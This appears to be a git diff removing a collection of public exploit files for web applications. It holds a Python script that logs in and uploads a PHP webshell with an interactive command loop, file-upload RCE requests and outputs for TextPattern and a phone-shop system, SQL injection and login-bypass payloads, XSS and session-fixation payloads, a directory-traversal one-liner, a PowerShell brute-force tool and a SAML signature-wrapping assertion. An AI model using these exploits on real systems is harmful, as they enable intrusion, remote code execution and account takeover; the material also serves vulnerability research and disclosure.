auth_url = url_login
|
|
||||||
auth_cookies = {"loader": "loaded"}
|
|
||||||
auth_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/", "Upgrade-Insecure-Requests": "1"}
|
|
||||||
auth_data = {"__st": csrfToken, "username": username, "password": password}
|
|
||||||
auth = session.post(auth_url, headers=auth_headers, cookies=auth_cookies, data=auth_data)
|
|
||||||
|
|
||||||
if len(auth.text) <= 7000:
|
|
||||||
print('\n[x] Login failed... Check credentials')
|
|
||||||
exit()
|
|
||||||
else:
|
|
||||||
print('[+] Login Successful!\n')
|
|
||||||
else:
|
|
||||||
print('[x] Failed to got CSRF token')
|
|
||||||
exit()
|
|
||||||
|
|
||||||
except requests.exceptions.ConnectionError as err:
|
|
||||||
print('\n[x] Failed to Connect in: '+url_login+' ')
|
|
||||||
print('[x] This host seems to be Down')
|
|
||||||
exit()
|
|
||||||
|
|
||||||
return csrfToken
|
|
||||||
|
|
||||||
def name_rnd():
|
|
||||||
global shell_name
|
|
||||||
print('[+] Generating random name for Webshell...')
|
|
||||||
shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
|
|
||||||
time.sleep(1)
|
|
||||||
print('[+] Generated webshell name: '+shell_name+'\n')
|
|
||||||
|
|
||||||
return shell_name
|
|
||||||
|
|
||||||
def shell_upload():
|
|
||||||
print('[+] Trying to Upload Webshell..')
|
|
||||||
try:
|
|
||||||
up_url = url_upload
|
|
||||||
up_cookies = {"INTELLI_06c8042c3d": "15ajqmku31n5e893djc8k8g7a0", "loader": "loaded"}
|
|
||||||
up_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------6159367931540763043609390275", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/uploads/"}
|
|
||||||
up_data = "-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n17978446266285\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"__st\"\r\n\r\n"+csrfToken+"\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\""+shell_name+".phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php system($_GET['cmd']); ?>\n\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1621210391\r\n-----------------------------6159367931540763043609390275--\r\n"
|
|
||||||
session.post(up_url, headers=up_headers, cookies=up_cookies, data=up_data)
|
|
||||||
|
|
||||||
except requests.exceptions.HTTPError as conn:
|
|
||||||
print('[x] Failed to Upload Webshell in: '+url_upload+' ')
|
|
||||||
exit()
|
|
||||||
|
|
||||||
def code_exec():
|
|
||||||
try:
|
|
||||||
url_clean = url_shell.replace('/panel', '')
|
|
||||||
req = session.get(url_clean + shell_name + '.phar?cmd=id')
|
|
||||||
|
|
||||||
if req.status_code == 200:
|
|
||||||
print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \n')
|
|
||||||
while True:
|
|
||||||
cmd = input('$ ')
|
|
||||||
x = session.get(url_clean + shell_name + '.phar?cmd='+cmd+'')
|
|
||||||
print(x.text)
|
|
||||||
else:
|
|
||||||
print('\n[x] Webshell not found... upload seems to have failed')
|
|
||||||
except:
|
|
||||||
print('\n[x] Failed to execute PHP code...')
|
|
||||||
|
|
||||||
login()
|
|
||||||
name_rnd()
|
|
||||||
shell_upload()
|
|
||||||
code_exec()
|
|
||||||
|
|
@ -1,43 +0,0 @@
|
||||||
# Exploit Title: Printable Staff ID Card Creator System 1.0 - SQLi & RCE via Arbitrary File Upload
|
|
||||||
# Date: 2021-05-16
|
|
||||||
# Exploit Author : bwnz
|
|
||||||
# Software Link: https://www.sourcecodester.com/php/12802/php-staff-id-card-creation-and-printing-system.html
|
|
||||||
# Version: 1.0
|
|
||||||
# Tested on: Ubuntu 20.04.2 LTS
|
|
||||||
|
|
||||||
# Printable Staff ID Card Creator System is vulnerable to an unauthenticated SQL Injection attack.
|
|
||||||
# After compromising the database via SQLi, an attacker can log in and leverage an arbitrary file upload
|
|
||||||
# vulnerability to obtain remote code execution.
|
|
||||||
|
|
||||||
|
|
||||||
-----SQL Injection-----
|
|
||||||
Step 1.) Navigate to the login page and populate the email and password fields.
|
|
||||||
Step 2.) With Burp Suite running, send and capture the request.
|
|
||||||
Step 3.) Within Burp Suite, right click and "Save item" in preparation for putting the request through SQLMap.
|
|
||||||
Step 4.) Open a terminal and run the following command:
|
|
||||||
sqlmap -r <saved item>
|
|
||||||
|
|
||||||
Below are the SQLMap results
|
|
||||||
|
|
||||||
Parameter: user_email (POST)
|
|
||||||
Type: boolean-based blind
|
|
||||||
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
|
|
||||||
Payload: user_email=test@test.com' RLIKE (SELECT (CASE WHEN (9007=9007) THEN 0x7465737440746573742e636f6d ELSE 0x28 END))-- JaaE&password=`&login_button=
|
|
||||||
|
|
||||||
Type: error-based
|
|
||||||
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
|
|
||||||
Payload: user_email=test@test.com' AND (SELECT 7267 FROM(SELECT COUNT(*),CONCAT(0x7176717071,(SELECT (ELT(7267=7267,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- pCej&password=`&login_button=
|
|
||||||
|
|
||||||
Type: time-based blind
|
|
||||||
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
||||||
Payload: user_email=test@test.com' AND (SELECT 2884 FROM (SELECT(SLEEP(5)))KezZ)-- bBqz&password=`&login_button=
|
|
||||||
----- END -----
|
|
||||||
|
|
||||||
|
|
||||||
----- Authenticated RCE via Arbitrary File Upload -----
|
|
||||||
# For this attack, it is assumed that you've obtained credentials via the SQL Injection attack above and have logged in.
|
|
||||||
|
|
||||||
Step 1.) After logging in, click the "Initialization" option and "Add System Info".
|
|
||||||
Step 2.) Populate the blank form with arbitrary data. At the bottom of the form, there is an option to upload a logo. Upload your evil.php file here and click "Finish".
|
|
||||||
Step 3.) By default, the file is uploaded to http://<IP>/Staff_registration/media/evil.php. Navigate to it for RCE.
|
|
||||||
----- END ------
|
|
||||||
|
|
@ -1,43 +0,0 @@
|
||||||
# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)
|
|
||||||
# Date : 2021/09/06
|
|
||||||
# Exploit Author : Mert Daş merterpreter@gmail.com
|
|
||||||
# Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip
|
|
||||||
# Software web : https://textpattern.com/
|
|
||||||
# Tested on: Server : Xampp
|
|
||||||
|
|
||||||
First of all we should use file upload section to upload our shell.
|
|
||||||
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>
|
|
||||||
|
|
||||||
1) Go to content section .
|
|
||||||
2) Click Files and upload malicious php file.
|
|
||||||
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;
|
|
||||||
|
|
||||||
After upload our file , our request and respons is like below :
|
|
||||||
|
|
||||||
Request:
|
|
||||||
|
|
||||||
GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1
|
|
||||||
Host: 127.0.0.1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
|
|
||||||
Gecko/20100101 Firefox/89.0
|
|
||||||
Accept:
|
|
||||||
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
||||||
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Connection: close
|
|
||||||
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;
|
|
||||||
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
|
|
||||||
|
|
||||||
Response:
|
|
||||||
|
|
||||||
HTTP/1.1 200 OK
|
|
||||||
Date: Thu, 10 Jun 2021 00:32:41 GMT
|
|
||||||
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20
|
|
||||||
X-Powered-By: PHP/7.4.20
|
|
||||||
Content-Length: 22
|
|
||||||
Connection: close
|
|
||||||
Content-Type: text/html; charset=UTF-8
|
|
||||||
|
|
||||||
pc\mertdas
|
|
||||||
|
|
@ -1,20 +0,0 @@
|
||||||
# Exploit Title: ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Scripting and Session Fixation
|
|
||||||
# Exploit Author: *Piyush Patil *& Rafal Lykowski
|
|
||||||
# Vendor Homepage: https://icehrm.com/
|
|
||||||
# Version: 29.0.0.OS
|
|
||||||
# Tested on: Windows 10 and Kali
|
|
||||||
|
|
||||||
#Description
|
|
||||||
ICE Hrm Version 29.0.0.OS is vulnerable to session fixation and reflected cross site scripting leading to full account takeover.
|
|
||||||
|
|
||||||
#Steps to reproduce the attack:
|
|
||||||
1-Open 2 different browsers (or one with 2 windows - one of them opened in incognito mode)
|
|
||||||
2-Log in to the system,
|
|
||||||
3-Paste this payload into the address bar and load it:
|
|
||||||
http://localhost:8070/app/?g=admin&n=dashboard&m=21484%27%3bdocument.cookie=%22PHPSESSID=12345;path=/;%22%2f%2f
|
|
||||||
It simulates victim executing XSS.
|
|
||||||
4-In the incognito window do not log in but just modify session cookie value to 12345.
|
|
||||||
5-Navigate to any application url - you will realize that you are authorized. It means that your account was taken over.
|
|
||||||
|
|
||||||
#Video POC:
|
|
||||||
https://drive.google.com/file/d/1egynTGh0XsETgfu7SJtIPv1GZCs1dJ67/view?usp=sharing
|
|
||||||
|
|
@ -1,161 +0,0 @@
|
||||||
# Exploit Title: Phone Shop Sales Managements System 1.0 - 'Multiple' Arbitrary File Upload to Remote Code Execution
|
|
||||||
# Date: 2021-07-06
|
|
||||||
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
|
|
||||||
# Vendor Homepage: https://www.sourcecodester.com/
|
|
||||||
# Software Link: https://www.sourcecodester.com/php/10882/phone-shop-sales-managements-system.html
|
|
||||||
# Version: 1.0
|
|
||||||
# Tested on: Windows 10, XAMPP
|
|
||||||
|
|
||||||
|
|
||||||
###########
|
|
||||||
# PoC 1: #
|
|
||||||
###########
|
|
||||||
|
|
||||||
Request:
|
|
||||||
========
|
|
||||||
|
|
||||||
POST /osms/Execute/ExAddProduct.php HTTP/1.1
|
|
||||||
Host: localhost
|
|
||||||
Content-Length: 2160
|
|
||||||
Cache-Control: max-age=0
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
Origin: http://localhost
|
|
||||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
||||||
Referer: http://localhost/osms/AddNewProduct.php
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept-Language: en-US,en;q=0.9
|
|
||||||
Cookie: PHPSESSID=6i2a5u327llvco5kgglbalhdn0
|
|
||||||
Connection: close
|
|
||||||
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="ProductName"
|
|
||||||
|
|
||||||
camera
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="BrandName"
|
|
||||||
|
|
||||||
soskod
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="ProductPrice"
|
|
||||||
|
|
||||||
12
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="Quantity"
|
|
||||||
|
|
||||||
1
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="TotalPrice"
|
|
||||||
|
|
||||||
12
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="DisplaySize"
|
|
||||||
|
|
||||||
15
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="OperatingSystem"
|
|
||||||
|
|
||||||
windows
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="Processor"
|
|
||||||
|
|
||||||
4
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="InternalMemory"
|
|
||||||
|
|
||||||
4
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="RAM"
|
|
||||||
|
|
||||||
4
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="CameraDescription"
|
|
||||||
|
|
||||||
lens
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="BatteryLife"
|
|
||||||
|
|
||||||
3300
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="Weight"
|
|
||||||
|
|
||||||
500
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="Model"
|
|
||||||
|
|
||||||
AIG34
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="Dimension"
|
|
||||||
|
|
||||||
5 inch
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="ASIN"
|
|
||||||
|
|
||||||
9867638
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="ProductImage"; filename="rev.php"
|
|
||||||
Content-Type: application/octet-stream
|
|
||||||
|
|
||||||
<?php echo "result: ";system($_GET['rev']); ?>
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="date2"
|
|
||||||
|
|
||||||
2020-06-03
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="Description"
|
|
||||||
|
|
||||||
accept
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0
|
|
||||||
Content-Disposition: form-data; name="_wysihtml5_mode"
|
|
||||||
|
|
||||||
1
|
|
||||||
------WebKitFormBoundaryIBZWMUliFtu0otJ0--
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
###########
|
|
||||||
# PoC 2: #
|
|
||||||
###########
|
|
||||||
|
|
||||||
Request:
|
|
||||||
========
|
|
||||||
|
|
||||||
POST /osms/Execute/ExChangePicture.php HTTP/1.1
|
|
||||||
Host: localhost
|
|
||||||
Content-Length: 463
|
|
||||||
Cache-Control: max-age=0
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
Origin: http://localhost
|
|
||||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4Dm8cGBqGNansHqI
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
||||||
Referer: http://localhost/osms/UserProfile.php
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept-Language: en-US,en;q=0.9
|
|
||||||
Cookie: PHPSESSID=4nksm1jl45bfbbd5ovn0fpi594
|
|
||||||
Connection: close
|
|
||||||
|
|
||||||
------WebKitFormBoundary4Dm8cGBqGNansHqI
|
|
||||||
Content-Disposition: form-data; name="IDUser"
|
|
||||||
|
|
||||||
6
|
|
||||||
------WebKitFormBoundary4Dm8cGBqGNansHqI
|
|
||||||
Content-Disposition: form-data; name="Image"; filename="rev.php"
|
|
||||||
Content-Type: application/octet-stream
|
|
||||||
|
|
||||||
<?php echo "output: ";system($_GET['rev']); ?>
|
|
||||||
------WebKitFormBoundary4Dm8cGBqGNansHqI--
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
###########
|
|
||||||
# Access: #
|
|
||||||
###########
|
|
||||||
|
|
||||||
# Webshell access via:
|
|
||||||
PoC 1: http://localhost/osms/assets/img/Product_Uploaded/rev.php?rev=whoami
|
|
||||||
PoC 2: http://localhost/osms/assets/img/Profile_Uploaded/rev.php?rev=whoami
|
|
||||||
|
|
||||||
# Output:
|
|
||||||
result: windows10\user
|
|
||||||
|
|
@ -1,11 +0,0 @@
|
||||||
# Exploit Title: WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal
|
|
||||||
# Date: 05.07.2021
|
|
||||||
# Exploit Author: TheSmuggler
|
|
||||||
# Vendor Homepage: https://gotmls.net/
|
|
||||||
# Software Link: https://gotmls.net/downloads/
|
|
||||||
# Version: <= 4.20.72
|
|
||||||
# Tested on: Windows
|
|
||||||
|
|
||||||
import requests
|
|
||||||
|
|
||||||
print(requests.get("http://127.0.0.1/wp-admin/admin-ajax.php?action=duplicator_download&file=..\..\..\..\..\..\..\..\..\Windows\win.ini", headers={"User-Agent":"Chrome"}).text)
|
|
||||||
|
|
@ -1,68 +0,0 @@
|
||||||
# Exploit Title: Dolibarr ERP/CRM 10.0.6 - Login Brute Force
|
|
||||||
# Date:2020-01-18
|
|
||||||
# Exploit Author: Creamy Chicken Soup
|
|
||||||
# Vendor Homepage: https://www.dolibarr.org
|
|
||||||
# Software Link: https://sourceforge.net/projects/dolibarr/
|
|
||||||
# Version: 10.0.6
|
|
||||||
# Tested on: Windows 10 - 64bit
|
|
||||||
# CVE: CVE-2020-7995
|
|
||||||
|
|
||||||
function brute($url,$username,$passwd){
|
|
||||||
try{
|
|
||||||
$WebResponse = Invoke-WebRequest $url
|
|
||||||
$a=$WebResponse.Forms.fields
|
|
||||||
$fields=@{"token"=$a.token ;"loginfunction"=$a.loginfunction;"username"=$username;"password"=$passwd}
|
|
||||||
$WebResponse1 = Invoke-WebRequest -Uri $url -Method Post -Body $fields
|
|
||||||
if($WebResponse1.Forms.Id -ne "login"){
|
|
||||||
Write-Host "username password is match"
|
|
||||||
Write-Warning "user: $username ,passwoed: $passwd"
|
|
||||||
return $true
|
|
||||||
}
|
|
||||||
}catch{
|
|
||||||
Write-Warning "Something Wrong!"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function fileinput($filepath,$url){
|
|
||||||
try{
|
|
||||||
Write-Host "Target: $url"
|
|
||||||
$fp=Get-Content -Path $filepath
|
|
||||||
foreach($line in $fp){
|
|
||||||
$s=$line -split ':'
|
|
||||||
$username=$s[0]
|
|
||||||
$passwd=$s[1]
|
|
||||||
Write-Host "[+] Check $username : $passwd"
|
|
||||||
$bf=brute $url $username $passwd
|
|
||||||
if($bf -eq $True){
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}catch{
|
|
||||||
Write-Warning "File is error"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$textart=@'
|
|
||||||
____ ____ _____ ____ _ ___ _ ____ _ _ ____ _ __ _____ _ ____ ____ _ ____
|
|
||||||
/ _\/ __\/ __// _ \/ \__/|\ \/// _\/ \ /|/ \/ _\/ |/ // __// \ /|/ ___\/ _ \/ \ /\/ __\
|
|
||||||
| / | \/|| \ | / \|| |\/|| \ / | / | |_||| || / | / | \ | |\ ||| \| / \|| | ||| \/|
|
|
||||||
| \__| /| /_ | |-||| | || / / | \__| | ||| || \_ | \ | /_ | | \||\___ || \_/|| \_/|| __/
|
|
||||||
\____/\_/\_\\____\\_/ \|\_/ \|/_/ \____/\_/ \|\_/\____/\_|\_\\____\\_/ \|\____/\____/\____/\_/
|
|
||||||
|
|
||||||
'@
|
|
||||||
|
|
||||||
Write-Host $textart
|
|
||||||
Write-Host @'
|
|
||||||
Exploit Title: DOLIBARR ERP/CRM - Brute Force Vulnerability
|
|
||||||
Date: 2020-01-18
|
|
||||||
Exploit Author: CreamyChickenSoup
|
|
||||||
Vendor Homepage: https://www.dolibarr.org
|
|
||||||
Version: 10.0.6
|
|
||||||
CVE: CVE-2020-7995
|
|
||||||
Vulnerable Page : http://localhost/htdocs/index.php?mainmenu=home
|
|
||||||
Twitter: @creamychickens1
|
|
||||||
cve submited:Tufan Gungor
|
|
||||||
'@
|
|
||||||
$url=Read-Host "Enter Url:"
|
|
||||||
$filepath=Read-Host "Enter FilePAth: (File content like : user:pass)"
|
|
||||||
fileinput $filepath $url
|
|
||||||
|
|
@ -1,9 +0,0 @@
|
||||||
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
|
|
||||||
# Date: 03/08/2021
|
|
||||||
# Exploit Author: Leon Trappett (thepcn3rd)
|
|
||||||
# Vendor Homepage: https://qdpm.net/
|
|
||||||
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
|
|
||||||
# Version: 9.2
|
|
||||||
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
|
|
||||||
|
|
||||||
The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
|
|
||||||
|
|
@ -1,25 +0,0 @@
|
||||||
# Exploit Title: Simple Phone book/directory 1.0 - 'Username' SQL Injection (Unauthenticated)
|
|
||||||
# Date: 21/08/2021
|
|
||||||
# Exploit Author: Justin White
|
|
||||||
# Vendor Homepage: https://www.sourcecodester.com
|
|
||||||
# Software Link: https://www.sourcecodester.com/php/13011/phone-bookphone-directory.html
|
|
||||||
# Version: 1.0
|
|
||||||
# Testeted on: Linux (Ubuntu 20.04) using LAMPP
|
|
||||||
|
|
||||||
## SQL Injection
|
|
||||||
|
|
||||||
# Vulnerable page
|
|
||||||
http://localhost/PhoneBook/index.php
|
|
||||||
|
|
||||||
# Vulnerable paramater
|
|
||||||
username1 & password
|
|
||||||
|
|
||||||
# POC
|
|
||||||
Username = ' or sleep(5)='-- -
|
|
||||||
Password = ' '
|
|
||||||
|
|
||||||
Using these to login will have the webapp sleep for 5 seconds, then you will be logged in as "' or sleep(5)='-- -"
|
|
||||||
|
|
||||||
# Vulnerable Code
|
|
||||||
index.php line 13
|
|
||||||
$sql = mysqli_query($dbcon,"SELECT * FROM userdetails WHERE username = '$username' AND password = '$password'");
|
|
||||||
|
|
@ -1,19 +0,0 @@
|
||||||
# Exploit Title: Budget and Expense Tracker System 1.0 - Authenticated Bypass
|
|
||||||
# Exploit Author: Prunier Charles-Yves
|
|
||||||
# Date: September 20, 2021
|
|
||||||
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
|
|
||||||
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
|
|
||||||
# Tested on: Linux, windows
|
|
||||||
# Vendor: oretnom23
|
|
||||||
# Version: v1.0
|
|
||||||
|
|
||||||
# Exploit Description:
|
|
||||||
Budget and Expense Tracker System 1.0, is prone to an Easy authentication bypass vulnerability on the application
|
|
||||||
allowing the attacker to login with admin acount
|
|
||||||
|
|
||||||
|
|
||||||
----- PoC: Authentication Bypass -----
|
|
||||||
|
|
||||||
Administration Panel: http://localhost/expense_budget/admin/login.php
|
|
||||||
|
|
||||||
Username: admin' or ''=' --
|
|
||||||
|
|
@ -1,13 +0,0 @@
|
||||||
# Exploit Title: WordPress Plugin Select All Categories and Taxonomies 1.3.1 - Reflected Cross-Site Scripting (XSS)
|
|
||||||
# Date: 2/15/2021
|
|
||||||
# Author: 0xB9
|
|
||||||
# Software Link: https://downloads.wordpress.org/plugin/select-all-categories-and-taxonomies-change-checkbox-to-radio-buttons.1.3.1.zip
|
|
||||||
# Version: 1.3.1
|
|
||||||
# Tested on: Windows 10
|
|
||||||
# CVE: CVE-2021-24287
|
|
||||||
|
|
||||||
1. Description:
|
|
||||||
The tab parameter in the Admin Panel is vulnerable to XSS.
|
|
||||||
|
|
||||||
2. Proof of Concept:
|
|
||||||
wp-admin/options-general.php?page=moove-taxonomy-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);
|
|
||||||
|
|
@ -1,13 +0,0 @@
|
||||||
# Exploit Title: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS)
|
|
||||||
# Date: 2/3/2021
|
|
||||||
# Author: 0xB9
|
|
||||||
# Software Link: https://downloads.wordpress.org/plugin/redirect-404-to-parent.1.3.0.zip
|
|
||||||
# Version: 1.3.0
|
|
||||||
# Tested on: Windows 10
|
|
||||||
# CVE: CVE-2021-24286
|
|
||||||
|
|
||||||
1. Description:
|
|
||||||
This plugin redirects any 404 request to the parent URL. The tab parameter in the Admin Panel is vulnerable to XSS.
|
|
||||||
|
|
||||||
2. Proof of Concept:
|
|
||||||
wp-admin/options-general.php?page=moove-redirect-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);
|
|
||||||
|
|
@ -1,115 +0,0 @@
|
||||||
# Exploit Title: Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation via XML Signature Wrapping
|
|
||||||
# Date: 09/07/2021
|
|
||||||
# Exploit Author: Cristian 'void' Giustini
|
|
||||||
# Vendor Homepage: https://www.miniorange.com/
|
|
||||||
# Software Link: https://www.drupal.org/project/miniorange_saml
|
|
||||||
# Version: 8.x-2.22 (REQUIRED)
|
|
||||||
# Tested on: Linux Debian (PHP 8.0.7 with Apache/2.4.38)
|
|
||||||
# Original article: https://blog.hacktivesecurity.com/index.php/2021/07/09/sa-contrib-2021-036-notsosaml-privilege-escalation-via-xml-signature-wrapping-on-minorangesaml-drupal-plugin/
|
|
||||||
# Drupal Security Advisory URL: https://www.drupal.org/sa-contrib-2021-036
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
The MiniorangeSAML Drupal Plugin v. 8.x-2.22 is vulnerable to XML
|
|
||||||
Signature Wrapping Attacks that could allows an attacker to perform
|
|
||||||
privilege escalation attacks.
|
|
||||||
|
|
||||||
In order to exploit the vulnerability, the plugin must be configured
|
|
||||||
with the "Either SAML reponse or SAML assertion must be signed" options
|
|
||||||
enabled and an empty "x509 certificate".
|
|
||||||
|
|
||||||
Administrator point of view:
|
|
||||||
|
|
||||||
- Install a Drupal version (for the PoC the version 9.1.10 has been used)
|
|
||||||
|
|
||||||
- Configure an external SSO system like Auth0
|
|
||||||
|
|
||||||
- Configure the plugin with the Auth0 provider by checking the "Either
|
|
||||||
SAML response or SAML assertion must be signed" and empty "x509 certificate"
|
|
||||||
|
|
||||||
|
|
||||||
Attacker point of view:
|
|
||||||
|
|
||||||
- Register a normal user on the website
|
|
||||||
|
|
||||||
- Perform a login
|
|
||||||
|
|
||||||
- Intercept the request with Burp Suite and decode the SAMLResponse
|
|
||||||
parameter
|
|
||||||
|
|
||||||
- Inject an additional <Saml:Assertion> object before the original one
|
|
||||||
(example here:
|
|
||||||
https://gist.github.com/voidz0r/30c0fb7be79abf8c79d1be9d424c9e3b#file-injected_object-xml)
|
|
||||||
(SAMLRaider Burp extension, XSW3 payload)
|
|
||||||
|
|
||||||
<saml:Assertion ID="_evil_assertion_ID" IssueInstant="2021-06-23T21:04:01.551Z" Version="2.0"
|
|
||||||
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
|
|
||||||
<saml:Issuer>urn:miniorange-research.eu.auth0.com</saml:Issuer>
|
|
||||||
<saml:Subject>
|
|
||||||
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">admin</saml:NameID>
|
|
||||||
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
|
|
||||||
<saml:SubjectConfirmationData InResponseTo="_f1e26bb0bd40be366c543e2c3fe0215747f40dadbb" NotOnOrAfter="2021-06-23T22:04:01.551Z" Recipient="http://localhost:8080/samlassertion"/>
|
|
||||||
</saml:SubjectConfirmation>
|
|
||||||
</saml:Subject>
|
|
||||||
<saml:Conditions NotBefore="2021-06-23T21:04:01.551Z" NotOnOrAfter="2021-06-23T22:04:01.551Z">
|
|
||||||
<saml:AudienceRestriction>
|
|
||||||
<saml:Audience>http://localhost:8080</saml:Audience>
|
|
||||||
</saml:AudienceRestriction>
|
|
||||||
</saml:Conditions>
|
|
||||||
